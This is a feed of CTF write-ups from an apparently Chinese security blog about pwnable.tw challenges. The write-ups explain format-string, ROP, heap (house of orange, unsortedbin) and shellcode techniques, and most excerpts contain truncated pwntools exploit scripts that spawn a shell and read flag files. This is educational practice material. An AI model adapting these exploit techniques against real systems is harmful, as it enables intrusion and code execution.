赤道企鹅的博客 | Eqqie Blog - pwnable.tw
type: channel
link: https://eqqie.cn/index.php/category/pwnable/
description: pwnable一些仅供参考的writeup，部分有密码保护
items: [pwnable.tw] printable - 利用exit过程伪造.fini_array到可控内存
items: [pwnable.tw] CRITICALHEAP - localtime任意文件读利用
items: [pwnable.tw] Ghost Party - C++拷贝构造缺失漏洞
items: [pwnable.tw] unexploitable - 利用微偏移在read库函数中找syscall gadget
items: [pwnable.tw] De-ASLR - "call reg"式ROP链+栈残留指针运用
items: [pwnable.tw] Break Out - realloc特性利用
items: [pwnable.tw] MnO2 指定字符组合shellcode构造
items: [pwnable.tw] CAOV - C++不规范运算符重载的利用
items: [pwnable.tw] Alive Note - 构造分段alpha_shellcode
items: [pwnable.tw] bookwrite - no free条件House_of_Orange + unsortedbin_attack

[pwnable.tw] printable - 利用exit过程伪造.fini_array到可控内存
type: item
date: 2021-02-10T23:57:00+08:00
description: 分析题目主要逻辑非常短：int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char s; // [rsp+0h] [rbp-90h] unsigned __int64 v4; // [rsp+88h] [rbp-8h] v4 = __readfsqword(0x28u); init_proc(); // set no buf memset(&s, 0, 0x80uLL); // 0x80栈上缓冲区 printf("Input :", 0LL); close(1); // 关闭输出流 // 需要想办法打开或绕过 read(0, &s, 0x80uLL); printf(&s, &s); // 裸的格式化串 exit(0); // 直接exit0，考虑利用fini_array } 在read之前调用了close(1)来关闭stdout流，然后有一个裸的格式化字符串漏洞。由于stderr没有关闭，可以通过半个字节的爆破将bss段上stdout指针指向和stderr同一个文件结构体，此时再调用printf函数时，就可以将内容从stderr流输出来。在调试过程中发现fini_array内存不可写，不能通过直接写指针来让执行流形成loop。这里是本题最关键的难点。通过查阅资料后发现，在最后exit(0)的执行过程中会出现如下图的一处指令，来调用fini_array[0]处保存的指针：其中r12为&fini_array[0]的值，而rdx固定为0，于是往前找可以找到如下控制r12的指令：r12初始值为&fini_array[0]，然后加上[rbx]的值。而rbx中保存的地址，正是第一次调用printf前，栈上第42个参数的值。于是想到，在格式化字符串利用时写&fini_array[0]与一个可写可控地址（如.bss_start）之间的偏移量到该指针指向的内存。只要提前将要返回的起始地址写到.bss_start上，那么最后在exit时就可以构造出call *.bss_start这样的跳转。修改完stdout并返回read片段后的主要任务就是泄露glibc和栈地址。但是由于栈发生了变动，泄露完后不能直接再次返回。很碰巧的是在第二次printf前，栈上第23个变量正好是储存第二次调用printf时保存函数返回地址的栈地址的指针。于是省去了部分写的麻烦，直接写该地址，这样当printf执行完后就会直接回到read片段，且栈不会发生大的变化。（这是第二个容易卡住的点）最后一步很明显是借助上面的方法去getshell，但是不知道为何，直接写printf返回地址为one_gadget地址时无法成功getshell。于是我想在写返回地址的基础上在payload后面布置一段执行system("/bin/sh");的rop链。然后把返回地址写为add rsp, 0x80; ret;这样的gadget，从而在printf返回时跳过payload，执行提前布置的rop链来getshell。需要注意的是，最后一次写返回地址需要写长达6个字节，于是我拆分成了3次，每次写2字节。为了保证从小到大地写入三个地址片段（格式化字符串基本概念），我在分出每个片段后做了一次排序。 虽然说修改了stdout指针，但是getshell之后直接cat文件会提示文件描述符错误，需要在指令中重定向一下：cat /home/printable/printable_fl4g 1>&2;。符号>左边为文件描述符，右边如果直接使用2会被认为是重定向到一个名为2的文件，所以需要用&修饰，表示这是一个文件描述符。 思路 改写stdout，改写fini_array偏移到bss_start位置； 泄露栈地址，glibc地址，修改printf返回地址； 修改printf返回地址为add rsp, 0x80; ret;gadget，在格式化串payload后面布置好system("/bin/sh"); rop链. EXP#/usr/bin/python3 from pwn import * import time local_dbg = 1 libc = ELF("./libc_64.so.6") elf = ELF("./printable") context.log_level = "debug" # const ret_addr = 0x400925 #ret->read->printf->... bss_addr = 0x601000 fini_array_0 = 0x600DB8 #fini_array[0] fini_array_1 = 0x600DB8+8 #fini_array[1] bs…

[pwnable.tw] CRITICALHEAP - localtime任意文件读利用
type: item
date: 2021-01-30T21:46:00+08:00
description: 分析这题主要是三个结构体的利用： normal heap clock heap system heap normal heap可以在bss上输入content，当play时调用重写功能后，结构体最末尾8个字节会被填满，此时如果content填满0x28个字符后可以泄露出下一个结构体的name指针也就是堆地址，同时show功能存在格式化字符串漏洞，虽然是调用的__printf_chk，但是由于栈上有一个可控的buf，可以很容易做到任意地址泄露。创建clock heap调用了localtime，当环境变量中存在TZ和TZDIR时，这个函数会把两者拼接成一个完整地址，将地址指向的文件读入堆内存做一系列处理，最后返回一个指向libc中结构体的指针，供用户读取具体时间参数。虽然读入文件内容的内存会被释放而合并到top chunk中，但是没有被覆盖掉。此时发现system heap正好可以设置环境变量，于是大功告成，思路有了。思路 泄露堆地址； 设置TZ环境变量，为flag文件地址； 创建clock heap； 格式化字符串泄露flag。 EXPfrom pwn import * #p = process("./critical_heap") p = remote("chall.pwnable.tw", 10500) elf = ELF("./critical_heap") libc = ELF("./libc.so.6") context.log_level = "debug" flag_path = b"/home/critical_heap++/flag" #flag_path = b"/flag" def create_normal(name, content): '''create_normal(name, content)''' p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Name of heap:", name) p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Content of heap :", content) def create_clock(name): '''create_clock(name)''' p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Name of heap:", name) p.sendafter(b"Your choice : ", b"2\n") def create_system(name): '''create_system(name)''' p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Name of heap:", name) p.sendafter(b"Your choice : ", b"3\n") def show_heap(idx:int): '''show_heap(idx:int)''' p.sendafter(b"Your choice : ", b"2\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") def rename_heap(idx:int, name): '''rename_heap(idx:int, name)''' p.sendafter(b"Your choice : ", b"3\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Name of heap:", name) def show_normal_content(idx:int): '''show_normal_content(idx:int)''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"Index of heap :", str(idx).encode()+b"\n") p.sendafter(b"Your choice : ", b"1\n") p.sendafter(b"Your choice : ", b"3\n") #return def change_normal_content(idx:int, content): '''change_normal_content(idx:int, content)''' p.sendafter(b"Your choice : ", b"4\n") p.sendafter(b"…

[pwnable.tw] Ghost Party - C++拷贝构造缺失漏洞
type: item
date: 2021-01-30T01:22:00+08:00
description: 分析这题乍一看感觉到处都是洞...而且非常纷乱，难以理清思路。但是这题最关键的洞在于实现部分GHOST子类的时候缺少拷贝构造函数。于是应该重点检查成员变量在vector::push_back()触发浅拷贝时的安全性。如吸血鬼Vampire类中char *blood在浅拷贝析构时会发生delete[] blood;。也就是说当一个Vampire实例放入vector中时，它的blood指针就指向了一块释放过的区域，这是本题最关键的利用点。思路 知道Vampire存在UAF后应该想如何利用。这里发现如果UAF的堆块大于fast chunk得话，其被释放后立刻会合并到top chunk无法利用，不能直接泄露libc地址； 于是绕道。我们发现部分类在内存中分配的大小是相等的，如werewolf和Vampire都是0x70，在fast chunk范围内。也就是说，我们可以创建一个werewolf重新申请回被释放掉的堆块。由于类结构体重要性非常高...于是通过该方法控制类结构体是很可行的； 完成2中的重申请后，此时应该可以泄露出werewolf的vtable从而计算二进制文件的基址； 此时，释放掉最开始的Vampire。这个释放对于Vampire来说是deep free而对于werewolf来说是shadow free。下面需要用到一个大小同样是0x70且各方面比较“正常”不容易破坏堆结构的类——Mummy。通过调试分析发现，如果在创建Mummy实例时msg大小为0x5f就会覆盖werewolf的类结构。按照这里我们可以伪造werewolf的类结构——保持vtable不变（重要）的情况下修改name指针为保存了堆地址的位置。下次列出所有name的时候就完成了地址泄露； 按照4中的思路，泄露出__libc_start_main的got表值，计算出libc基址，以及one_gadget地址； 最后一步，伪造一个vtable。由调试发现vtable+0x10的位置是self.showinfo的函数指针。伪造该指针为one_gadget后替换werewolf的虚表，然后调用该指针完成getshell 其它 有一个类里面似乎读了flag相关的东西，但是解题没用上，可能这题是多解。或者说原先是个AD题。 EXP：from pwn import * import time #p = process("./ghostparty") p = remote("chall.pwnable.tw", 10401) elf = ELF("./ghostparty") #libc = ELF("./libc_64.so.6") libc = ELF("./libc_64.so.6") context.log_level = "debug" ''' ----------------- 1.Werewolf 2.Devil 3.Zombie 4.Skull 5.Mummy 6.Dullahan 7.Vampire 8.Yuki-onna 9.Kasa-obake 10.Alan ----------------- ''' # const TYPE_WEREWOLF = 0x1 TYPE_DEVIL = 0x2 TYPE_ZOMBIE = 0x3 TYPE_SKULL = 0x4 TYPE_MUMMY = 0x5 TYPE_DULLAHAN = 0x6 TYPE_VAMPIRE = 0x7 TYPE_YUKI = 0x8 TYPE_KASA = 0x9 TYPE_ALAN = 0xa ACTION_JOIN = 0x1 ACTION_GIVEUP = 0x2 ACTION_JOINANDSHOW = 0x3 vector_ghostlist_offset = 0x211030 libc_start_main_got_offset = 0x210E90 one_list_local = [0x45226, 0x4527a, 0xf0364, 0xf1207] one_list_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567] def _add_ghost(name, age:int, msg, ghost_type:int): p.sendafter(b"Your choice :", b"1\n") p.sendafter(b"Name : ", name+b"\n") p.sendafter(b"Age : ", str(age).encode()+b"\n") p.sendafter(b"Message : ", msg+b"\n") p.recvuntil(b"Choose a type of ghost :") p.send…

[pwnable.tw] unexploitable - 利用微偏移在read库函数中找syscall gadget
type: item
date: 2021-01-26T22:39:00+08:00
description: 分析这题和pwnable.kr原题的差别在于程序本身没有了syscall这个gadget，需要另找别处。题目给了read和栈溢出，栈迁移是少不了的。考虑到GOT表可写，并且关于read的库实现有个可以利用的gadget：在read库函数起始位置+0xe的时候有一个syscall，并且只要返回值正常，后面会接上ret （重点！）。思路 由分析可知，这题的关键在于控制read库函数+0xe处的gadget进行地址泄露。这个偏移只需要往read的got表地址写一个字节，同时写完这个字节后RAX的值刚好变成1，也就是SYS_write的系统调用号。当下一次再调用read时就会变成write； 得到write之后需要泄露__libc_start_main的got表值来计算libc基址。注意最好一个一个字节泄露，一次泄露多个字节会导致RAX过大，后续不方便控制。每次write一个字节可以保证RAX始终为1； 完成泄露后还需要切换回SYS_read把算出来的system地址写入read_got中，最后传入提前写好的/bin/sh参数地址来getshell。这一步只需要write(1, addr, 0)输出0个字节，RAX的值就会变回0，也就是SYS_read的系统调用号； 环境很坑，每次输入前尝试把sleep时间调长一点，否则会出现read不进去的情况。 EXPfrom pwn import * import time #p = process("./unexploitable", env={"LD_PRELOAD":"./libc_64.so.6"}) p = remote("chall.pwnable.tw", 10403) elf = ELF("./unexploitable") libc = ELF("./libc_64.so.6") context.log_level = "debug" # const offset_byte = b"\x0e" # read offset to syscall # addr bss_addr = 0x601028 main_addr = 0x400544 read_plt = elf.symbols[b"read"] read_got = elf.got[b"read"] sleep_got = elf.got[b"sleep"] libc_start_main = elf.got[b"__libc_start_main"] # gadget csu_gadget_1 = 0x4005e6 csu_gadget_2 = 0x4005d0 pop_rbp_ret = 0x400512 leave_ret = 0x400576 def csu_rop(rbx:int, rbp:int, call:int, rdi:int, rsi:int, rdx:int): rop = p64(csu_gadget_1) rop += p64(0) #padding rop += p64(rbx) #rbx rop += p64(rbp) #rbp rop += p64(call) #r12->call addr rop += p64(rdi) #r13->edi rop += p64(rsi) #r14->rsi rop += p64(rdx) #r15->rdx rop += p64(csu_gadget_2) rop += b"\x00"*0x38 #pad return rop def exp(): #gdb.attach(p, "b *0x400576\nc\n") #gdb.attach(p, "b system\nc\n") # migrate stack to bss && call read target_stack_1 = bss_addr + (0x100-0x8) # also write /bin/sh payload1 = b"a"*0x10 + p64(0xdeadbeef) payload1 += p64(csu_gadget_1) payload1 += p64(0) #padding payload1 += p64(0) #rbx payload1 += p64(1) #rbp payload1 += p64(read_got) #r12->call addr payload1 += p64(0) #r13->edi payload1 += p64(target_stack_1) #r14->rsi payload1 += p64(0x600) #r15->rdx payload1 += p64(csu_gadget_2) payload1 += b"\x00"*0x38 #p…

[pwnable.tw] De-ASLR - "call reg"式ROP链+栈残留指针运用
type: item
date: 2021-01-26T01:19:00+08:00
description: 分析题目只给了一个gets栈溢出，got开了全保护不能修改。按照题意对付aslr的话，爆破几率太渺茫了。应该要结合call reg以及栈残留指针来构造rop。思路 _libc_csu_init里面有这么一条gadget：call qword ptr [r12+rbx*8]。这意味着如果能够控制r12为一个libc地址，rbx为某个函数offset/8的话，就可以调用这个函数。 由于gets在调用时会在栈低地址留下_IO_2_1_stdin的地址，我们可以利用这个地址加上一定偏移去调用__IO_file_write来泄露地址。__IO_file_write函数与write函数的区别在于，第一个参数变成了一个文件结构体。为了成功利用，这个结构体中只需要保证fileno==1和flag2==2就能成功调用（非常理想）。 为了利用栈残留信息，需要把栈迁移到bss这种地址固定并可控的段来操作。在此之前还要先向bss中不会受到调用栈影响的区域提前写好fake_file。 迁移到bss上需要先执行一次gets让bss中残留下libc地址信息。然后再往远处迁移栈，避免利用时破坏残留在栈上的指针。迁移到远处后需要计算好残留指针的地址，往这个地址的上下填充其它值——因为gadget的限制，往往需要一次pop很多寄存器，而需要让残留指针放在r12寄存器里面就得把其它寄存器也构造好。其它寄存器涉及到传参以及分支跳转——注意让rbp=rbx+1防止跳转。 最终构造完在call reg之前应该保证： RDI为fake_file地址 RSI为gets的got表地址 RDX为输出长度 RBX为(__IO_file_write-残留指针)/8 (注意残留指针不一定是 _IO_2_1_stdin，因为gets在写的时候末位会有\x00截断覆盖掉_IO_2_1_stdin低位) R12为残留指针 EBP为rbx+1 泄露完地址走一次one_gadget就可以getshell了 EXPfrom pwn import * #p = process("./deaslr", env={"LD_PRELOAD":"./libc_64.so.6"}) p = remote("chall.pwnable.tw", 10402) elf = ELF("./deaslr") libc = ELF("./libc_64.so.6") context.log_level = "debug" # addr main_addr = 0x400536 gets_plt = elf.symbols[b"gets"] gets_got = elf.got[b"gets"] bss_addr = 0x601010 data_addr = 0x601000 # gadget pop_rbp_ret = 0x4004a0 leave_ret = 0x400554 ret = 0x4003f9 pop_rdi_ret = 0x4005c3 pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005ba pop_r12_r13_r14_r15_ret = 0x4005bc pop_rsp_r13_r14_r15_ret = 0x4005bd call_r12_plus_rbx_mul_8 = 0x4005a9 set_args_and_call = call_r12_plus_rbx_mul_8 - 0x9 mveax0_leave_ret = 0x40054f # struct fake_file = b"\x00"*0x70+p64(1)+p64(2) # fileno flag fake_file = fake_file.ljust(0xe0, b"\x00") def exp(): #gdb.attach(p, "b *0x40054f\nc\n") # write fake_file to bss fake_file_addr = bss_addr+0x100 payload1 = b"a"*0x18 + p64(pop_rdi_ret) + p64(fake_file_addr) + p64(gets_plt) + p64(main_addr) p.sendline(payload1) p.sendline(fake_file) # Migrate stack to bss (to control stack_val) target_stack = bss_addr+0x200 payload2 = b"a"*0x10 + p64(target_stack) + p64(pop_rdi_ret) + p64(target_stack) + p64(gets_plt) pa…

[pwnable.tw] Break Out - realloc特性利用
type: item
date: 2021-01-23T00:19:00+08:00
description: 一些怨言题目本身非常容易，利用UAF构造出一条通向malloc_hook的fastbin。然后利用好realloc会copy原有内容到新堆块的特性，提前布置好payload到堆上，绕过security_read向malloc_hook中写入one_gadget。建议这种受到堆偏移影响很大的题最好给出Dockfile，不然纯浪费时间，特傻逼！！EXP：from pwn import * p = remote("chall.pwnable.tw", 10400) #p = process("./breakout", env={"LD_PRELOAD":"./libc_64.so.6"}) elf = ELF("./breakout") libc = ELF("./libc_64.so.6") context.arch = "amd64" context.log_level = "debug" def list_all(): p.sendafter(b"> ", b"list\n") def set_note(cell:int, size:int, content): p.sendafter(b"> ", b"note\n") p.sendafter(b"Cell: ", str(cell).encode()) p.sendafter(b"Size: ", str(size).encode()) p.sendafter(b"Note: ", content) def punish(cell:int): p.sendafter(b"> ", b"punish\n") p.sendafter(b"Cell: ", str(cell).encode()) def exp(): # leak libc set_note(6, 0x80, b"aaaa") set_note(7, 0x20, b"bbbb") set_note(6, 0x90, b"cccc") set_note(8, 0x80, b"a"*8) list_all() p.recvuntil(b"Life imprisonment, murder") p.recvuntil(b"aaaaaaaa") libc_leak = u64(p.recv(6).ljust(8, b"\x00")) libc_base = libc_leak - 0x108 + 0xa0 - libc.symbols[b"__malloc_hook"] malloc_hook = libc_base + libc.symbols[b"__malloc_hook"] fake_chunk = malloc_hook - 0x23 one_list = [0x45216, 0x4526a, 0xef6c4, 0xf0567] print("[*] libc_leak:", hex(libc_leak)) print("[*] libc_base:", hex(libc_base)) print("[*] malloc_hook:", hex(malloc_hook)) print("[*] fake_chunk:", hex(fake_chunk)) #gdb.attach(p) # leak heap remote_offset = 0x410 #remote-0x410 local-0x0 punish(1) set_note(9, 0x48, p64(malloc_hook+0x68)*2) list_all() p.recvuntil(b"multiple homicides") p.recvuntil(b"Prisoner: ") heap_leak = u64((b""+p.recv(6)).ljust(8, b"\x00")) heap_base = heap_leak - 0x2169a0 + remote_offset print("[*] heap_leak:", hex(heap_leak)) print("[*] heap_base:", hex(heap_base)) # realloc attach ## link to fake_chunk set_note(2, 0x68, b"aaaa") #target_chunk set_note(3, 0x20, b"split") set_note(2, 0x78, b"bbbb") target_chunk = heap_base + 0x2169a0 - remote_offset print("[*] target_chunk:", hex(target_chunk)) payload = p64(heap_base)*3+p…

[pwnable.tw] MnO2 指定字符组合shellcode构造
type: item
date: 2020-12-03T12:29:00+08:00
description: 题目分析究极丧心病狂的题，只能使用元素周期表组合以及数字填充进行shellcode构造。顺带一提，题目名字二氧化锰的来由是写入shellcode的固定地址转ascii转译后的结果。可用指令分析：H 0: 48 dec eax He 0: 48 dec eax 1: 65 gs Li 0: 4c dec esp 1: 69 .byte 0x69 Be 0: 42 inc edx 1: 65 gs B 0: 42 inc edx C 0: 43 inc ebx N 0: 4e dec esi O 0: 4f dec edi F 0: 46 inc esi Ne 0: 4e dec esi 1: 65 gs Na 0: 4e dec esi 1: 61 popa Mg 0: 4d dec ebp 1: 67 addr16 Al 0: 41 inc ecx 1: 6c ins BYTE PTR es:[edi],dx Si 0: 53 push ebx 1: 69 .byte 0x69 P 0: 50 push eax S 0: 53 push ebx Cl 0: 43 inc ebx 1: 6c ins BYTE PTR es:[edi],dx Ar 0: 41 inc ecx 1: 72 .byte 0x72 K 0: 4b dec ebx Ca 0: 43 inc ebx 1: 61 popa Sc 0: 53 push ebx 1: 63 .byte 0x63 Ti 0: 54 push esp 1: 69 .byte 0x69 V 0: 56 push esi Cr 0: 43 inc ebx 1: 72 .byte 0x72 Mn 0: 4d dec ebp 1: 6e outs dx,BYTE PTR ds:[esi] Fe 0: 46 inc esi 1: 65 gs Co 0: 43 inc ebx 1: 6f outs dx,DWORD PTR ds:[esi] Ni 0: 4e dec esi 1: 69 .byte 0x69 Cu 0: 43 inc ebx 1: 75 .byte 0x75 Zn 0: 5a pop edx 1: 6e outs dx,BYTE PTR ds:[esi] Ga 0: 47 inc edi 1: 61 popa Ge 0: 47 inc edi 1: 65 gs As 0: 41 inc ecx 1: 73 .byte 0x73 Se 0: 53 push ebx 1: 65 gs Br 0: 42 inc edx 1: 72 .byte 0x72 Kr 0: 4b dec ebx 1: 72 .byte 0x72 Rb 0: 52 push edx 1: 62 .byte 0x62 Sr 0: 53 push ebx 1: 72 .byte 0x72 Y 0: 59 pop ecx Zr 0: 5a pop edx 1: 72 .byte 0x72 Nb 0: 4e dec esi 1: 62 .byte 0x62 Mo 0: 4d dec ebp 1: 6f outs dx,DWORD PTR ds:[esi] Tc 0: 54 push esp 1: 63 .byte 0x63 Ru 0: 52 push edx 1: 75 .byte 0x75 Rh 0: 52 push edx 1: 68 .byte 0x68 Pd 0: 50 push eax 1: 64 fs Ag 0: 41 inc ecx 1: 67 addr16 Cd 0: 43 inc ebx 1: 64 fs In 0: 49 dec ecx 1: 6e outs dx,BYTE PTR ds:[esi] Sn 0: 53 push ebx 1: 6e outs dx,BYTE PTR ds:[esi] Sb 0: 53 push ebx 1: 62 .byte 0x62 Te 0: 54 push esp 1: 65 gs I 0: 49 dec ecx Xe 0: 58 pop eax 1: 65 gs Cs 0: 43 inc ebx 1: 73 .byte 0x73 Ba 0: 42 inc edx 1: 61 popa La 0: 4c dec esp 1: 61 popa Ce 0: 43 inc ebx 1: 65 gs Pr 0: 50 push eax 1: 72 .byte 0x72 Nd 0: 4e dec esi 1: 64 fs Pm 0: 50 push eax 1: 6d ins DWORD PTR es:[edi],dx Sm 0: 53 push ebx 1: 6d in…

[pwnable.tw] CAOV - C++不规范运算符重载的利用
type: item
date: 2020-12-02T22:45:00+08:00
description: 漏洞点： 虽然给了源码但是漏洞得看二进制文件才能看出，结合flag，这是C++运算符重载相关的漏洞 edit的时候存在栈复用，可以任意指针free 漏洞原理： 正常运算符重载的写法（这里只讨论写为成员函数）需要在成员函数末尾return *this，同时返回值需要为当前对象类型的引用类型，这个返回值会作为其他运算的右值，如a = b = c，为了保证程序正常，这个值必须要存在。 如果不主动写return *this，g++在编译的时候，会把返回值指针指向栈上一段同类型大小的空内存（填充为null），把这段空内存作为右值（隐式的return）然后析构这段内存。析构时遇到对象指针会先判断是否为空再执行delete。 但是空内存可以借助栈复用进行修改，构造出我们自定义的指针，这样在析构函数中如果有对某些指针域的delete，就可以构造出任意地址free 利用思路： 难点在第一步的leak heap。通过在bss上构造fakechunk和自定义指针free出bss上的chunk，然后借助一个非法size值跳过最后的析构避免doublefree，这样可以在不触发0截断时输出free过chunk上的fd值。具体细节，其实挺复杂，只可意会不可言传。 leak heap之后修改堆上对象内存指针指向保存了libc地址的位置，调用info成员函数leak libc 最后打__malloc_hook(需要__realloc_hook间接补全栈条件) EXPfrom pwn import * #p = process("./caov") p = remote("chall.pwnable.tw", 10306) elf = ELF("./caov") libc = ELF("./libc_64.so.6") #libc = ELF("./libc.so.6") context.log_level = "debug" def show(): p.recvuntil("Your choice: ") p.sendline(b"1") def edit(name, key_len:int, key, value): p.recvuntil("Your choice: ") p.sendline(b"2") p.recvuntil("Enter your name: ") p.sendline(name) p.recvuntil("New key length: ") p.sendline(str(key_len).encode()) if key_len > 1000: return p.recvuntil("Key: ") p.sendline(key) p.recvuntil("Value: ") p.sendline(str(value).encode()) def go_exit(): p.recvuntil("Your choice: ") p.sendline(b"3") def exp(): #const bss_name = 0x6032C0 fake_chunk = 0x6032a0 + 0x2 - 0x8 one_local = [0x45226, 0x4527a, 0xf0364, 0xf1207] one_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567] read_got = 0x602F40 #init init_name = b"eqqie" init_key = b"\x00"*0x30 init_value = str(0xdeadbeef).encode() p.recvuntil("Enter your name: ") p.sendline(init_name) p.recvuntil("Please input a key: ") p.sendline(init_key) p.recvuntil("Please input a value: ") p.sendline(init_value) #leak heap #gdb.attach(p, "b *0x4014c2\nb *0x4014f5\nb *0x401563\nc\n") #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n") payload1 = p64(0)+p64(0x20)+b"DDDDDDDD" payload1 = payload1.ljust(0x20, b"A") payload1 += p64(0x20) + p64(0x20) payload1 = payload1.ljust(0x60, b"A") payload1 += p64(bss_name+0x…

[pwnable.tw] Alive Note - 构造分段alpha_shellcode
type: item
date: 2020-11-10T18:36:00+08:00
description: 漏洞利用程序Heap内存区域有执行权限，并且Add功能存在下标溢出。当使用负数下标时可以覆盖got表项指针指向堆内存，从而执行自定义shellcode。但是堆块输入限制非常大，只有8个字节，而且要求全为大小写字母或数字。也就是说需要用多个堆块借助拼接构造shellcode。为了简化利用，先构造调用SYS_read的shellcoed，然后借助它往堆上读执行execve("/bin/sh", NULL, NULL)的系统调用来getshell。主要难点 构造为全为大小写字母或数字的shellcode，这个思路网上很多，主要都是利用push, pop, xor, dec, jne之类的指令进行构造（注意xor的时候一般使用al寄存器） 使用jne指令连接多个块，jne的操作数是相对值，即目标指令相对于下一条指令的偏移，所以要考虑好两段shellcode中间间隔堆块的数量以便操作数在合法范围内。 通过减法+异或构造出int 0x80指令（技巧性很强）。 EXPfrom pwn import * #p = process("./alive_note") p = remote("chall.pwnable.tw", 10300) elf = ELF("./alive_note") context.log_level = "debug" context.arch = "i386" free_offset = -27 #free reg info ''' EAX 0x804b018 ◂— 'bbbb' (free arg) EBX 0x0 ECX 0x0 EDX 0x0 EDI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d /* 0x1b2db0 */ ESI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x2d /* 0x1b2db0 */ EBP 0xffffcee8 —▸ 0xffffcef8 ◂— 0x0 ESP 0xffffcebc —▸ 0x80488ef (del_note+81) ◂— add esp, 0x10 EIP 0x804b008 ◂— 'aaaa' (code) ''' def get_alpha_shellcode(raw): with open("./alpha3/raw.in", "wb") as r: r.write(asm(raw)) os.system('cd alpha3;python ALPHA3.py x86 ascii rax --input="raw.in" > alpha.out') res = b"" with open("./alpha3/alpha.out", "rb") as a: res = a.read() return res def add(idx:int, name): p.recvuntil(b"Your choice :") p.sendline(b"1") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) p.recvuntil(b"Name :") p.sendline(name) def show(idx:int): p.recvuntil(b"Your choice :") p.sendline(b"2") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def delete(idx:int): p.recvuntil(b"Your choice :") p.sendline(b"3") p.recvuntil(b"Index :") p.sendline(str(idx).encode()) def chunk_pad(num): for i in range(num): add(10, b"aaaaaaa") def exp(): #build shellcode ## call SYS_read to read execve shellcode ### PYjzZu9 part1 = ''' push eax pop ecx push 0x7a pop edx ''' part1 = asm(part1) + b"\x75\x39" add(-27, part1) chunk_pad(3) ### SXH0AAu8 part2 = ''' push ebx pop eax dec eax xor BYTE PTR [ecx+0x41], al ''' part2 = asm(part2) + b"\x75\x38" add(0, par…

[pwnable.tw] bookwrite - no free条件House_of_Orange + unsortedbin_attack
type: item
date: 2020-11-08T04:21:00+08:00
description: 思路： Autor未设置截断导致heap泄露，strlen重设长度时包含下一个chunk的size导致溢出; 进行house of orange释放原先的topchunk进入unsortedbin（进入过程可以借助scanf中malloc分配缓冲区来完成），以此可以泄露libc; （关键）unsortedbin attack攻击IO_list_all，使其的指针指向main_arena+0x58，然后以此为IO_FILE结构体，再通过struct _IO_FILE *_chain域指向堆上的unsortedbin位置; 只要提前在unsortedbin位置伪造好IO_FILE结构体和vtable就可以借助_IO_flush_all_lockp（在触发malloc_printerr时会被调用）调用system("/bin/sh\x00")来getshell. 分析历程这里有个很操蛋的地方卡了很久...开始一直弄不明白unsortedbin attack修改掉IO_list_all之后如何构造struct _IO_FILE *_chain指向堆上我们伪造的结构。分析发现如果把main_arena+0x58看作结构体，则对应smallbin[4]（0x60）的索引位置，也就是只要有一个0x60的smallbin被free就可以构成链表。但是想了很久还是不明白如何让unsortedbin进入这个位置...又翻了好久的源代码发现在尝试对unsortedbin进行分割前，其中一个判断条件要满足的是：bck == unsorted_chunks (av)，而bck = victim->bk 。换句话说，只要unsorted chunk中的bk指针被修改掉之后，一定不会满足这个判断，也就一定不会进入分割unsorted chunk的过程。如果我们提前借助堆溢出修改unsorted chunk大小为0x61，则在下次分配一个0x10的堆块时就会进入下面把unsorted chunk置入smallbin的分支过程，这一举动刚好使得smallbin[4]（0x60）的索引位置出现了原先unsorted chunk的指针。加上一定的构造之后（相关限制条件可以看ctfwiki）就可以通过触发报错拿shell了。总结一下就是：在bk指针被破坏之后，原本可能发生的unsorted chunk分割条件无法满足，而是直接把整个unsorted chunk置入smallbin对应位置（注意不是fastbin，不能只看大小，要看程序流）。这些细节勿略掉可能会在很浅显的地方翻车。EXP:from pwn import * #p = process("./bookwriter", env = {"LD_PRELOAD":"./libc.so.6"}) p = remote("chall.pwnable.tw", 10304) elf = ELF("./bookwriter") libc = ELF("./libc_64.so.6") context.log_level = "debug" def send_choice(idx:int): p.recvuntil(b"Your choice :") p.sendline(str(idx).encode()) def add(size, content): send_choice(1) p.recvuntil(b"Size of page :") p.sendline(str(size).encode()) p.recvuntil(b"Content :") p.send(content) def view(idx:int): send_choice(2) p.recvuntil(b"Index of page :") p.sendline(str(idx).encode()) def edit(idx:int, content): send_choice(3) p.recvuntil(b"Index of page :") p.sendline(str(idx).encode()) p.recvuntil(b"Content:") p.send(content) def info(new_author=None): send_choice(4) p.recvuntil(b"(yes:1 / no:0)") if new_author != None: p.sendline(b"1") p.recvuntil(b"Author :") p.send(new_author) else: p.sendline(b"0") def go_exit(): send_choice(5) def exp(): # const bss…